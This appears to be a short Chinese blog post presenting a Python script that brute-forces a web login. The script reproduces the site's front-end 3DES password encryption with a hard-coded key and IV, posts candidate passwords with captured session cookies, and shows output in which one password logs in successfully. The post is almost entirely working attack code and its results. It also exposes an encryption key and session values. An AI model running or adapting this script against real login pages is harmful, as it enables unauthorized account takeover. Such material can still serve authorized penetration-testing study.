记一次python3简单前端暴力破解的测试demo

from bs4 import BeautifulSoup
import urllib 
import json
import requests
from pyDes import *
import pyDes
import base64

iv = b"99999999"#偏移量
key = base64.b64decode("isiGuRWo36Gny+Y0yOU+rhYfL4kvUiOD")#秘钥
reurl = "http://url"
header = {
'Host': 'rxxxx.xxx.xxxx',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Origin': 'http://xxxxx',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://xxxxx/login/index.html',
'Cookie': 'rmbUser=true; userName=test; SESSION=e798b36a-3be5-4a6b-988a-ff3bd698f808; JSESSIONID=1hn02bdzudukj1hpv89ngp2jm1'
}
def url_bp(pwd):
data={'username':'bV/QXER9ntmjFl8AkizmQQ==','password':pwd}
req = requests.post(url=reurl,headers=header,data=data) 
print(req.text)

#3DES解密
def do_3des(result): # 解密
result = base64.b64decode(result)
k = triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.decrypt(result)
print("Decrypted: %r" % d)

def do_3des_encrypt(data): # 加密

k = triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.encrypt(data)
d = base64.b64encode(d).decode(encoding = "utf-8")
url_bp(d)

if __name__=="__main__":
#do_3des("usjL8Eysefa3JjUT41nl3Q==")
dict1 = ("er6B#1DD","111111")#密码字典列表
for i in dict1:
do_3des_encrypt(i)
print(i)
运行结果

> python3 pydes.py
{"businesskey":"","message":"登录成功","messageFlag":"1","messageList":[],"messageMap":{}}
er6B#1DD
{"businesskey":"","message":"用户或密码错误！","messageFlag":"2","messageList":[],"messageMap":{}}
111111